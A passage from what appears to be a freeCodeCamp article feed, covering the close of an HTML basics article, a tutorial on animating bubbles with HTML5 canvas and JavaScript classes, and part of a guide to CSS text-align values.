<p>The <code>&lt;p&gt;</code> tag is typically used for paragraphs, while the <code>&lt;span&gt;</code> tag is more versatile and is often used for inline elements within a sentence or paragraph. Choose the tag that suits the context of your content.</p>
<h2 id="heading-additional-html-elements-to-explore">Additional HTML Elements to Explore</h2>
<p>While we've covered the basics, HTML offers a plethora of elements and attributes for creating rich and interactive web experiences. Here are some additional HTML elements you can explore:</p>
<h3 id="heading-forms">Forms</h3>
<p>HTML provides elements like <code>&lt;form&gt;</code>, <code>&lt;input&gt;</code> and <code>&lt;button&gt;</code> to create user-friendly forms for collecting data.</p>
<h3 id="heading-tables">Tables</h3>
<p>You can use <code>&lt;table&gt;</code>, <code>&lt;tr&gt;</code>, <code>&lt;td&gt;</code> and other related tags to structure tabular data.</p>
<h3 id="heading-multimedia">Multimedia</h3>
<p>Embed images, audio, and video using <code>&lt;img&gt;</code>, <code>&lt;audio&gt;</code>, and <code>&lt;video&gt;</code> tags.</p>
<h3 id="heading-links-and-anchors">Links and Anchors</h3>
<p>Create hyperlinks using the <code>&lt;a&gt;</code> tag to connect web pages and external resources.</p>
<h3 id="heading-lists">Lists</h3>
<p>Use <code>&lt;ul&gt;</code> for unordered lists, <code>&lt;ol&gt;</code> for ordered lists and <code>&lt;li&gt;</code> for list items.</p>
<h3 id="heading-semantic-tags">Semantic Tags</h3>
<p>HTML5 introduced semantic elements like <code>&lt;header&gt;</code>, <code>&lt;nav&gt;</code>, <code>&lt;section&gt;</code>, <code>&lt;article&gt;</code> and <code>&lt;footer&gt;</code> to enhance the structure and accessibility of web pages.</p>
<h3 id="heading-meta-tags">Meta Tags</h3>
<p>Further refine your document with meta tags, including those for specifying character encoding, viewport settings, and author information.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In closing, HTML is your gateway to web development. It provides the foundation upon which you can build stunning web experiences and effectively communicate with your audience. </p>
<p>Whether you're embarking on creating a personal blog, launching an e-commerce site, or showcasing your portfolio, HTML forms the foundation of your online presence.</p>
<p>As you progress in web development, remember that HTML is just the beginning of your journey. Complement your HTML skills with CSS for styling and JavaScript for interactivity. This  approach empowers you to create dynamic and engaging websites that captivate the attention of your audience.</p>
<p>In your pursuit of web development excellence, embrace the challenges and endless possibilities presented by HTML and the ever-evolving field of web technologies. Stay curious, never stop learning, and remain current with the latest standards and best practices. Connect with me on <a target="_blank" href="https://twitter.com/codesbyjojo">Twitter</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Create Animated Bubbles with HTML5 Canvas and JavaScript ]]>
                </title>
                <description>
                    <![CDATA[ Hello everyone! Welcome to this tutorial where we're going to dive into the world of creating fun bubbles in code using HTML canvas and JavaScript. The best part? We'll achieve all of this using just a touch of HTML and all JavaScript, no CSS. What w... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-create-animated-bubbles-with-html5-canvas-and-javascript/</link>
                <guid isPermaLink="false">66b99cdfbe5923657131acf1</guid>
                
                    <category>
                        <![CDATA[ animation ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Shruti Kapoor ]]>
                </dc:creator>
                <pubDate>Tue, 05 Sep 2023 14:08:02 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/08/shrutikapoor.dev--11-.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hello everyone! Welcome to this tutorial where we're going to dive into the world of creating fun bubbles in code using HTML canvas and JavaScript. The best part? We'll achieve all of this using just a touch of HTML and all JavaScript, no CSS.</p>
<h2 id="heading-what-we-will-learn">What we will learn</h2>
<p>In this article, you're going to master the following concepts:</p>
<ul>
<li>How to create circles using the <code>arc</code> method of the canvas context.</li>
<li>How to utilize the <code>requestAnimationFrame</code> function for smooth circle animations.</li>
<li>How to harness the power of JavaScript classes to create multiple circles without repeating code.</li>
<li>How to add stroke styles and fill styles to your circles for a 3D bubble effect.</li>
</ul>
<p>You can follow along with me, or use <a target="_blank" href="https://codepen.io/shrutikapoor08/pen/wvQXMVO">the final codepen</a> if you want to take a look at the source code.</p>
<p>If you prefer to learn in a video format, follow along this video:</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/IjPgXP3gDyI" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
<h2 id="heading-getting-started">Getting Started</h2>
<p>First things first, we need an HTML5 Canvas element. Canvas is a powerful element for creating shapes, images and graphics. This is what we'll use for creating the bubbles.</p>
<p>Let’s set it up:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">canvas</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"canvas"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">canvas</span>&gt;</span>
</code></pre>
<p>In order to do anything meaningful with canvas, we need to have access to it’s <code>context</code>. <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D">Context</a> provides an interface to render objects on the canvas and draw shapes.</p>
<p>Here's how to get access to canvas and it's context.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> canvas = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'canvas'</span>);
<span class="hljs-keyword">const</span> context = canvas.getContext(<span class="hljs-string">'2d'</span>);
</code></pre>
<p>We'll also set up our canvas to use the entire window height and width:</p>
<pre><code class="lang-js">canvas.width = <span class="hljs-built_in">window</span>.innerWidth;
canvas.height = <span class="hljs-built_in">window</span>.innerHeight;
</code></pre>
<p>Next, we'll give it canvas a nice soothing light blue background by adding some css. This is the only CSS we're going to use. You can also do this with JavaScript if you wish.</p>
<pre><code class="lang-css"><span class="hljs-selector-id">#canvas</span> {
  <span class="hljs-attribute">background</span>: <span class="hljs-number">#00b4ff</span>;
}
</code></pre>
<h2 id="heading-how-to-create-bubbles-with-canvas">How to Create Bubbles with Canvas</h2>
<p>Let’s get to the fun part. We're going to create bubbles by clicking on the canvas. To achieve this, we'll start by creating a click event handler:</p>
<pre><code class="lang-js">canvas.addEventListener(<span class="hljs-string">'click'</span>, handleDrawCircle);
</code></pre>
<p>Since we need to know where we clicked on our canvas, we are going to keep track of it in our <code>handleDrawCircle</code> function and use the event’s coordinates:</p>
<pre><code class="lang-js">
<span class="hljs-comment">//We are adding x and y here because we will need it later.</span>
<span class="hljs-keyword">let</span> x, y
<span class="hljs-keyword">const</span> handleDrawCircle = <span class="hljs-function">(<span class="hljs-params">event</span>) =&gt;</span> {
  x = event.pageX;
  y = event.pageY;

  <span class="hljs-comment">// Draw a bubble!</span>
  drawCircle(x, y);
};
</code></pre>
<h3 id="heading-how-to-draw-circles-using-the-arc-method">How to Draw Circles Using the <code>arc</code> Method</h3>
<p>To create circles, we're going to utilize the <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/arc"><code>arc</code> method available on canvas’s context.</a> The <code>arc</code> method accepts <code>x</code> and <code>y</code> (the center of the circle), a radius, and a start angle and end angle which for us will be <code>0</code> and <code>2* Math.PI</code> respectively because we're creating a full circle.</p>
<p>That is:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> drawCircle = <span class="hljs-function">(<span class="hljs-params">x, y</span>) =&gt;</span> {
  context.beginPath();
  context.arc(x, y, <span class="hljs-number">50</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span> * <span class="hljs-built_in">Math</span>.PI);

  context.strokeStyle = <span class="hljs-string">'white'</span>;
  context.stroke();
};
</code></pre>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1zrbq3gcpff40nbvzbt8.png" alt="Drawing circles" width="1118" height="912" loading="lazy">
<em>circles created using the arc method</em></p>
<h3 id="heading-how-to-move-circles-using-the-requestanimationframe-method">How to Move Circles Using the <code>requestAnimationFrame</code> Method</h3>
<p>Now that we have circles, let's make them move because...</p>
<p><img src="https://media.giphy.com/media/ptS6CV6Ty7Dt26k6wq/giphy.gif" alt="A scene from the &quot;I like to move it&quot; song from the movie -Madagascar" width="480" height="270" loading="lazy"></p>
<p>Remember that when we created a circle, we used the <code>arc</code> method which accepted <code>x</code> and <code>y</code> coordinates — the center of the circle. If we move the <code>x</code> and <code>y</code> coordinate of our circle really fast, it will give an impression that the circles are moving. Let’s try that!</p>
<pre><code class="lang-js"><span class="hljs-comment">//Define a speed by which to increment to the x and y coordinates</span>

<span class="hljs-keyword">const</span> dx = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">3</span>;
<span class="hljs-keyword">const</span> dy = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">7</span>;

<span class="hljs-comment">//Incremenet the center of the circle with this speed</span>
x = x + dx;
y = y - dy;
</code></pre>
<p>We can move this inside a function:</p>
<pre><code class="lang-js"><span class="hljs-keyword">let</span> x, y;

<span class="hljs-keyword">const</span> move = <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-keyword">const</span> dx = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">3</span>;
  <span class="hljs-keyword">const</span> dy = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">7</span>;

  x = x + dx;
  y = y - dy;
};
</code></pre>
<p>To give our circle a seamless movement, we're going to create an <code>animate</code> function and use the browser's <code>requestAnimationFrame</code> method to create a moving circle:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> animate = <span class="hljs-function">() =&gt;</span> {
  context.clearRect(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, canvas.width, canvas.height);

  move();
    drawCircle(x,y);

  requestAnimationFrame(animate);
};

<span class="hljs-comment">//Don't forget to call animate at the bottom </span>
animate();
</code></pre>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z01uy7e82sqia06svu5t.gif" alt="Circle animating" width="571" height="622" loading="lazy">
<em>moving circles created with requestAnimationFrame method</em></p>
<h3 id="heading-how-to-create-particles-using-a-particle-class">How to Create Particles Using a Particle Class</h3>
<p>Now that we have created one circle, it’s time to create multiple circles! But before we do that, let's prepare our code.</p>
<p>In order to avoid repeating our code, we are going to use classes and introduce a <code>Particle</code> class. Particles are the building blocks of our dynamic artwork and animation. Each bubble is a particle with its own position, size, movement, and color attributes. Let's define a <strong><code>Particle</code></strong> class to encapsulate these properties:</p>
<pre><code class="lang-js"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Particle</span> </span>{
  <span class="hljs-keyword">constructor</span>(x = 0, y = 0) {}

  draw() {
    <span class="hljs-comment">// Drawing the particle as a colored circle</span>
    <span class="hljs-comment">// ...</span>
  }

  move() {
    <span class="hljs-comment">// Implementing particle movement</span>
    <span class="hljs-comment">// ...</span>
  }
}
</code></pre>
<p>Let’s move some of the constants we had set up to the <code>Particle</code> class:</p>
<pre><code class="lang-js"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Particle</span> </span>{
  <span class="hljs-keyword">constructor</span>(x = 0, y = 0) {
    <span class="hljs-built_in">this</span>.x = x;
    <span class="hljs-built_in">this</span>.y = y;
    <span class="hljs-built_in">this</span>.radius = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">50</span>;
    <span class="hljs-built_in">this</span>.dx = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">3</span>;
    <span class="hljs-built_in">this</span>.dy = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">7</span>;
  }

  draw() {
    <span class="hljs-comment">// Drawing the particle as a colored circle</span>
    <span class="hljs-comment">// ...</span>
  }

  move() {
    <span class="hljs-comment">// Implementing particle movement</span>
    <span class="hljs-comment">// ...</span>
  }
}
</code></pre>
<p>The <strong><code>draw</code></strong> method will be responsible for rendering the particle on the canvas. We have already implemented this functionality in <code>drawCircle</code>, so let’s move it in our class and update the variables to be class variables:</p>
<pre><code class="lang-js"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Particle</span> </span>{
  <span class="hljs-keyword">constructor</span>(x = 0, y = 0) {
    <span class="hljs-built_in">this</span>.x = x;
    <span class="hljs-built_in">this</span>.y = y;
    <span class="hljs-built_in">this</span>.radius = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">50</span>;
    <span class="hljs-built_in">this</span>.dx = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">3</span>;
    <span class="hljs-built_in">this</span>.dy = <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">7</span>;
    <span class="hljs-built_in">this</span>.color = <span class="hljs-string">'white'</span>;
  }

  draw() {
    context.beginPath();
    context.arc(<span class="hljs-built_in">this</span>.x, <span class="hljs-built_in">this</span>.y, <span class="hljs-built_in">this</span>.radius, <span class="hljs-number">0</span>, <span class="hljs-number">2</span> * <span class="hljs-built_in">Math</span>.PI);
    context.strokeStyle = <span class="hljs-built_in">this</span>.color;
    context.stroke();

    context.fillStyle = <span class="hljs-built_in">this</span>.color;
    context.fill();
  }

  move() {}
}
</code></pre>
<p>Similarly, let’s move the <code>move</code> function within the class:</p>
<pre><code class="lang-js">move() {
    <span class="hljs-built_in">this</span>.x = <span class="hljs-built_in">this</span>.x + <span class="hljs-built_in">this</span>.dx;
    <span class="hljs-built_in">this</span>.y = <span class="hljs-built_in">this</span>.y - <span class="hljs-built_in">this</span>.dy;
}
</code></pre>
<p>Next, we need to make sure that we are calling the <code>Particle</code> class in our event handler:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> handleDrawCircle = <span class="hljs-function">(<span class="hljs-params">event</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> x = event.pageX;
  <span class="hljs-keyword">const</span> y = event.pageY;

  <span class="hljs-keyword">const</span> particle = <span class="hljs-keyword">new</span> Particle(x, y);
};

canvas.addEventListener(<span class="hljs-string">'click'</span>, handleDrawCircle);
</code></pre>
<p>Since we need to access this particle in our animate function in order to call the <code>move</code> method on it, we'll store this particle in an array called <code>particleArray</code>. This array will also be helpful when creating lots of particles. </p>
<p>Here’s the updated code to reflect this:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> particleArray = [];

<span class="hljs-keyword">const</span> handleDrawCircle = <span class="hljs-function">(<span class="hljs-params">event</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> x = event.pageX;
  <span class="hljs-keyword">const</span> y = event.pageY;

  <span class="hljs-keyword">const</span> particle = <span class="hljs-keyword">new</span> Particle(x, y);
  particleArray.push(particle);
};

canvas.addEventListener(<span class="hljs-string">'click'</span>, handleDrawCircle);
</code></pre>
<p>Remember to update the <code>animate</code> function too:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> animate = <span class="hljs-function">() =&gt;</span> {
    context.clearRect(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, canvas.width, canvas.height);

    particleArray.forEach(<span class="hljs-function">(<span class="hljs-params">particle</span>) =&gt;</span> {
        particle?.move();
        particle?.draw();
    });

    requestAnimationFrame(animate);
};
</code></pre>
<p>At this point, you will see these particles on your screen:</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/92rs6a5i1xn4v2gzdv8o.gif" alt="Multiple circles moving" width="624" height="464" loading="lazy"></p>
<p>Awesome! Now, to the fun part! Let's creates lots of circles and style them to make them look like bubbles.</p>
<p>To create lots of bubbles, we are going to create particles using a <code>for</code> loop and add them to the <code>particleArray</code> we had created.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> handleDrawCircle = <span class="hljs-function">(<span class="hljs-params">event</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> x = event.pageX;
  <span class="hljs-keyword">const</span> y = event.pageY;

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">50</span>; i++) {
    <span class="hljs-keyword">const</span> particle = <span class="hljs-keyword">new</span> Particle(x, y);
    particleArray.push(particle);
  }
};

canvas.addEventListener(<span class="hljs-string">'click'</span>, handleDrawCircle);
</code></pre>
<p>In the animate function, we'll continuously update the canvas by clearing it and redrawing the particles in their new positions. This will give an illusion of the circle moving:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> animate = <span class="hljs-function">() =&gt;</span> {
  context.clearRect(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, canvas.width, canvas.height);

  particleArray.forEach(<span class="hljs-function">(<span class="hljs-params">particle</span>) =&gt;</span> {
    particle?.move();
    particle?.draw();
  });

  requestAnimationFrame(animate);
};

animate();
</code></pre>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ya5u8w8qetqkcy2nbowe.gif" alt="Multiple circles animating" width="694" height="616" loading="lazy"></p>
<p>Now that we have bubbles moving, it’s time to add color to them to make them look like actual bubbles!</p>
<p>We will do this by adding a gradient fill to the bubbles. This can be done using the <code>context.createRadialGradient</code> method:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> gradient = context.createRadialGradient(
  <span class="hljs-built_in">this</span>.x,
  <span class="hljs-built_in">this</span>.y,
  <span class="hljs-number">1</span>,
  <span class="hljs-built_in">this</span>.x + <span class="hljs-number">0.5</span>,
  <span class="hljs-built_in">this</span>.y + <span class="hljs-number">0.5</span>,
  <span class="hljs-built_in">this</span>.radius
);

gradient.addColorStop(<span class="hljs-number">0.3</span>, <span class="hljs-string">'rgba(255, 255, 255, 0.3)'</span>);
gradient.addColorStop(<span class="hljs-number">0.95</span>, <span class="hljs-string">'#e7feff'</span>);

context.fillStyle = gradient;
</code></pre>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l80yde62l9mw3ceh1f1i.gif" alt="Bubbles" width="934" height="711" loading="lazy"></p>
<p><a target="_blank" href="https://codepen.io/shrutikapoor08/pen/wvQXMVO">Here’s the final codepen</a> if you want to take a look at the source code.</p>
<h2 id="heading-wrap-up">Wrap Up</h2>
<p>Congratulations! You've just created something super fun using only HTML Canvas and JavaScript. You've learned how to use the <code>arc</code> method, how to leverage the <code>requestAnimationFrame</code> method, how to harness the power of JavaScript classes, and how to style your bubbles using gradients for the 3D bubble effect.</p>
<p>Feel free to experiment with colors, speeds, and sizes to make your animations truly unique.</p>
<p>I hope you had as much fun following this tutorial as I did creating it. Now, it's your turn to experiment. I would love to see if you tried this out and what you created. Share with me your code link and I would love to check it out.</p>
<hr>
<p>And now a #DevJoke:</p>
<p>Question - Who won the debate for the best name for loop variable?</p>
<p>Answer - i won.</p>
<hr>
<p>If you enjoyed this article, share it with someone who will benefit from it. </p>
<p>If you are interested in articles like this and front-end articles on JavaScript, React, GraphQL or Accessibility and career advice from a Staff Engineer, <a target="_blank" href="https://tinyletter.com/shrutikapoor">sign up for my newsletter</a> and get these directly in your inbox.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Align Text in HTML – Text-align, Center, and Justified Example ]]>
                </title>
                <description>
                    <![CDATA[ Text is essential on web pages, as it tells your users what your web page is all about. When you add text to your web page, it dictates the direction and feel of your web page based on your language. For example, by default, English moves from left t... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-align-text-in-html/</link>
                <guid isPermaLink="false">66d45f84b6b7f664236cbdf1</guid>
                
                    <category>
                        <![CDATA[ HTML ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Joel Olawanle ]]>
                </dc:creator>
                <pubDate>Thu, 22 Sep 2022 16:02:44 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/cover-template--8-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Text is essential on web pages, as it tells your users what your web page is all about.</p>
<p>When you add text to your web page, it dictates the direction and feel of your web page based on your language.</p>
<p>For example, by default, English moves from left to right (LTR), while Arabic moves from right to left (RTL).</p>
<p>But most times, you won't want all your text to remain in only one position of your screen or container. You will want some to be in the center, some to the left, and others to the right. You might even want the text to fill up your page or container.</p>
<p>This is similar to what you do when editing texts in Microsoft Word or Google Docs, using the left align, right align, center, and justify buttons.</p>
<p>You can also do the same on your web pages using code.</p>
<h2 id="heading-how-to-align-text-to-center-before-html5">How to Align Text to Center Before HTML5</h2>
<p>Before the introduction of HTML5, developers performed specific styling with HTML tags. For example, you could use the center tag to align your text to the center, but in HTML4, this tag got depreciated. Although this may still work with some major browsers, it might get dropped at any point.</p>
<p>Here's what it looks like:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">center</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span> Welcome to freeCodeCamp <span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.

    Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>How we work<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">center</span>&gt;</span>
</code></pre>
<p>This will output all our text in the center of the page or whatever container it is applied to:</p>
<p><img src="https://paper-attachments.dropbox.com/s_1FCD88D32AEADC1D26B97285FE174892A040B3C1BC2D3128B4E56D61375B2EDB_1663883648627_image.png" alt="s_1FCD88D32AEADC1D26B97285FE174892A040B3C1BC2D3128B4E56D61375B2EDB_1663883648627_image" width="600" height="400" loading="lazy"></p>
<p>But now that we have HTML5, we don't use this method anymore. Remember that it's essential to always handle all stylings with CSS. You should use HTML only to add markup to your web page.</p>
<h2 id="heading-how-to-align-text-in-html5">How to Align Text in HTML5</h2>
<p>With CSS, you have many options that you can use to align your text. The major CSS property that works well with text alignment is the <code>text-align</code> property. You use this property to specify the <strong>horizontal</strong> alignment of text in an element.</p>
<p>Suppose you have some text on your web page, for example:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span> Welcome to freeCodeCamp <span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.

  Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>How we work<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>You can use the <code>text-align</code> property to move the text to the left, right, center, or even justify your content, so it fills the element or web page <strong>horizontally</strong>.</p>
<pre><code class="lang-css">// <span class="hljs-selector-tag">Syntax</span>

<span class="hljs-selector-tag">text-align</span>: <span class="hljs-selector-tag">start</span>;
<span class="hljs-selector-tag">text-align</span>: <span class="hljs-selector-tag">end</span>;
<span class="hljs-selector-tag">text-align</span>: <span class="hljs-selector-tag">left</span>;
<span class="hljs-selector-tag">text-align</span>: <span class="hljs-selector-tag">right</span>;
<span class="hljs-selector-tag">text-align</span>: <span class="hljs-selector-tag">center</span>;
<span class="hljs-selector-tag">text-align</span>: <span class="hljs-selector-tag">justify</span>;
</code></pre>
<p>If you want to align the entire text on your web page, you can apply this property to any tag containing the text, such as the div tag, heading, paragraph, or body tag.</p>
<p>Before seeing an example, let’s explore the available options/values for this property.</p>
<ul>
<li><p><code>start</code>: This is based on the direction. When the direction is left-to-right, <code>start</code> would mean <code>left</code>. If the direction is right-to-left, then <code>start</code> would mean <code>right</code>.</p>
</li>
<li><p><code>end</code>: This is also based on the direction. When the direction is left-to-right, then <code>end</code> would mean right. If the direction is right-to-left, then <code>end</code> would mean left.</p>
</li>
<li><p><code>left</code>: You use this to align the texts to the <code>left</code> edge of the page or container.</p>
</li>
<li><p><code>right</code>: You use this to align the texts to the <code>right</code> edge of the page or container.</p>
</li>
<li><p><code>center</code>: You use this to align the texts to the perfect <code>center</code> of the page or container.</p>
</li>
<li><p><code>justify</code>: You use this to adjust the text content to touch the left and right edges of your page or container.</p>
</li>
</ul>
<p>The general syntax would be:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">selector</span> {
  <span class="hljs-attribute">text-align</span>: value;
}
</code></pre>
<h3 id="heading-how-to-align-text-to-the-left">How to align text to the left</h3>
<p>You might need to switch the alignment of your text to the left if it is originally on the right side. You do this by targeting the selector and using the <code>text-align</code> property alongside <code>left</code> as its value.</p>
<pre><code class="lang-html">// HTML
<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span> Welcome to freeCodeCamp <span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

// CSS
p {
  text-align: left;
}
</code></pre>
<p>For example, if you have your content from the right of your screen using the RTL direction:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">dir</span>=<span class="hljs-string">"rtl"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span> Welcome to freeCodeCamp <span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.

        Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

      <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>How we work<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Lorem ipsum dolor sit amet consectetur adipisicing elit. Architecto, inventore. Culpa, rerum neque. Necessitatibus quod velit vitae unde sed? Expedita consequuntur ea quis reiciendis nobis distinctio quod deserunt doloremque in.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>This will output:</p>
<p><img src="https://paper-attachments.dropbox.com/s_1FCD88D32AEADC1D26B97285FE174892A040B3C1BC2D3128B4E56D61375B2EDB_1663885469001_image.png" alt="s_1FCD88D32AEADC1D26B97285FE174892A040B3C1BC2D3128B4E56D61375B2EDB_1663885469001_image" width="600" height="400" loading="lazy"></p>
<p>You can style the body tag to align the page's text to the <code>left</code>:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">body</span>{
  <span class="hljs-attribute">text-align</span>: left;
}
</code></pre>
<h3 id="heading-how-to-align-text-to-the-right">How to align text to the right</h3>
<p>By default, your web page or content in the container and other elements start from the left. You might want to align this content to the right, which is accessible using the <code>text-align</code> property with a value <code>right</code>.</p>
<pre><code class="lang-html">// HTML
<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span> Welcome to freeCodeCamp <span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

// CSS
p {
  text-align: right;
}
</code></pre>
<h3 id="heading-how-to-align-text-to-the-center">How to align text to the center</h3>
<p>Instead of using the <code>center</code> tag to move our text content to the center, you can now use the <code>text-align</code> property alongside the <code>center</code> value to move your text to the center.</p>
<pre><code class="lang-html">// HTML
<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span> Welcome to freeCodeCamp <span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

// CSS
p {
  text-align: center;
}
</code></pre>
<h3 id="heading-how-to-justify-text">How to justify text</h3>
<p>If you know how to use any text-based tool like Microsoft Word or Google Docs, or tools like Photoshop, Figma, and many more that handle content, you will know how the justify text icon works.</p>
<p>You use it to help your text go up to the edges of a page/container rather than having some unnecessary uneven spaces at the end.</p>
